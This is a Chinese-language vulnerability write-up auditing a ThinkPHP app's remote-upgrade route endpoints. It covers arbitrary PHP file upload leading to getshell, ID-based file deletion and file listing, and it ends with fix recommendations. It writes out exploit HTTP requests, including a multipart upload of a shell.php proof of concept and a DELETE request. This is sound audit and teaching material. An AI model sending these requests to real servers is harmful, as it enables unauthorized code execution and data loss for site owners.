文件操作路由接口代码分析至getshell
字数 1477 2025-08-22 12:23:30

ThinkPHP路由接口漏洞分析:从文件操作到getshell

前言

本文基于ThinkPHP框架的路由接口代码分析,详细讲解如何通过审计文件操作路由接口发现安全漏洞,最终实现getshell。文章将涵盖任意文件上传、任意文件删除和文件浏览三个关键漏洞点的分析过程。

环境与框架信息

  • 框架:ThinkPHP
  • 路由文件位置:application/route.php
  • 控制器路径:v2/controller/remoteUpgrade/RemoteUpgradeController.php

漏洞分析

1. 任意文件上传漏洞

路由定位

route.php文件第510行发现remote-upgrade路由,该路由下包含四个处理接口:

  • POST请求的upload接口
  • GET请求的all接口
  • 两个DELETE请求的接口

路由指向控制器类:$controller = 'remoteUpgrade.RemoteUpgradeController'

代码分析

文件上传功能位于v2/controller/remoteUpgrade/RemoteUpgradeController.php中的upload函数,主要逻辑:

  1. 检查是否为POST请求且包含上传文件
  2. 验证文件名及后缀
  3. 验证文件长度(1-250字节)
  4. 计算文件hash验证唯一性
  5. 从配置获取文件保存路径
  6. 重命名上传的文件
  7. 验证文件大小
  8. 返回文件上传信息

漏洞利用

上传接口路径:/api/v2/remote-upgrade/upload

构造POST请求上传文件:

POST /api/v2/remote-upgrade/upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

<?php phpinfo(); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

成功上传后会返回文件路径,如:

{
    "path": "/uploads/20250212/abcdef123456.php"
}

访问上传文件验证:

http://target.com/uploads/20250212/abcdef123456.php

2. 任意文件删除漏洞

代码分析

删除功能位于同一控制器的delete函数,主要逻辑:

  1. 从请求中提取ID值:Tool::mergeIdAndIds(input())
  2. 如果id为空则无操作
  3. 查询数据库获取文件记录:$files = (Array) $this->r->whereIn('id', $ids)->select()
  4. 计算hash值定位文件
  5. 遍历并删除文件

漏洞利用

  1. 首先上传一个测试文件,获取其ID(如返回ID为167)
  2. 构造DELETE请求删除文件:
DELETE /api/v2/remote-upgrade/delete HTTP/1.1
Host: target.com
Content-Type: application/json

{
    "id": 167
}
  1. 响应结果:
    • 成功删除:{"result":1}
    • 文件不存在:{"result":0}

3. 文件浏览漏洞

代码分析

all接口功能:

  1. 获取所有文件记录
  2. 为每条记录生成访问链接和文件信息
  3. 检查文件是否实际存在于存储路径

限制条件

该接口需要认证,无法未授权访问。如果存在其他认证绕过漏洞,可能结合利用。

漏洞修复建议

  1. 文件上传漏洞修复

    • 严格限制上传文件类型(白名单方式)
    • 禁止上传可执行文件(如.php)
    • 文件重命名时去除潜在危险字符
    • 上传目录设置为不可执行
  2. 文件删除漏洞修复

    • 增加权限验证,确保用户只能删除自己的文件
    • 实现CSRF保护
    • 删除前进行二次确认
  3. 文件浏览漏洞修复

    • 确保接口有严格的权限控制
    • 对返回的文件信息进行过滤,避免泄露敏感路径
  4. 通用修复

    • 对所有文件操作接口实施严格的输入验证
    • 实现完善的日志记录,监控可疑文件操作
    • 定期进行安全审计

总结

通过对ThinkPHP路由接口的审计,我们发现文件操作类接口往往是安全风险的高发区。开发人员应特别注意:

  1. 路由定义的安全性
  2. 文件操作接口的权限控制
  3. 用户输入的严格验证
  4. 敏感操作的日志记录

安全研究人员在进行白盒审计时,可以从路由文件入手,重点关注文件上传、删除等高风险操作接口,往往能发现严重的安全漏洞。

ThinkPHP路由接口漏洞分析:从文件操作到getshell 前言 本文基于ThinkPHP框架的路由接口代码分析,详细讲解如何通过审计文件操作路由接口发现安全漏洞,最终实现getshell。文章将涵盖任意文件上传、任意文件删除和文件浏览三个关键漏洞点的分析过程。 环境与框架信息 框架:ThinkPHP 路由文件位置: application/route.php 控制器路径: v2/controller/remoteUpgrade/RemoteUpgradeController.php 漏洞分析 1. 任意文件上传漏洞 路由定位 在 route.php 文件第510行发现 remote-upgrade 路由,该路由下包含四个处理接口: POST请求的 upload 接口 GET请求的 all 接口 两个DELETE请求的接口 路由指向控制器类: $controller = 'remoteUpgrade.RemoteUpgradeController' 代码分析 文件上传功能位于 v2/controller/remoteUpgrade/RemoteUpgradeController.php 中的 upload 函数,主要逻辑: 检查是否为POST请求且包含上传文件 验证文件名及后缀 验证文件长度(1-250字节) 计算文件hash验证唯一性 从配置获取文件保存路径 重命名上传的文件 验证文件大小 返回文件上传信息 漏洞利用 上传接口路径: /api/v2/remote-upgrade/upload 构造POST请求上传文件: 成功上传后会返回文件路径,如: 访问上传文件验证: 2. 任意文件删除漏洞 代码分析 删除功能位于同一控制器的 delete 函数,主要逻辑: 从请求中提取ID值: Tool::mergeIdAndIds(input()) 如果id为空则无操作 查询数据库获取文件记录: $files = (Array) $this->r->whereIn('id', $ids)->select() 计算hash值定位文件 遍历并删除文件 漏洞利用 首先上传一个测试文件,获取其ID(如返回ID为167) 构造DELETE请求删除文件: 响应结果: 成功删除: {"result":1} 文件不存在: {"result":0} 3. 文件浏览漏洞 代码分析 all 接口功能: 获取所有文件记录 为每条记录生成访问链接和文件信息 检查文件是否实际存在于存储路径 限制条件 该接口需要认证,无法未授权访问。如果存在其他认证绕过漏洞,可能结合利用。 漏洞修复建议 文件上传漏洞修复 : 严格限制上传文件类型(白名单方式) 禁止上传可执行文件(如.php) 文件重命名时去除潜在危险字符 上传目录设置为不可执行 文件删除漏洞修复 : 增加权限验证,确保用户只能删除自己的文件 实现CSRF保护 删除前进行二次确认 文件浏览漏洞修复 : 确保接口有严格的权限控制 对返回的文件信息进行过滤,避免泄露敏感路径 通用修复 : 对所有文件操作接口实施严格的输入验证 实现完善的日志记录,监控可疑文件操作 定期进行安全审计 总结 通过对ThinkPHP路由接口的审计,我们发现文件操作类接口往往是安全风险的高发区。开发人员应特别注意: 路由定义的安全性 文件操作接口的权限控制 用户输入的严格验证 敏感操作的日志记录 安全研究人员在进行白盒审计时,可以从路由文件入手,重点关注文件上传、删除等高风险操作接口,往往能发现严重的安全漏洞。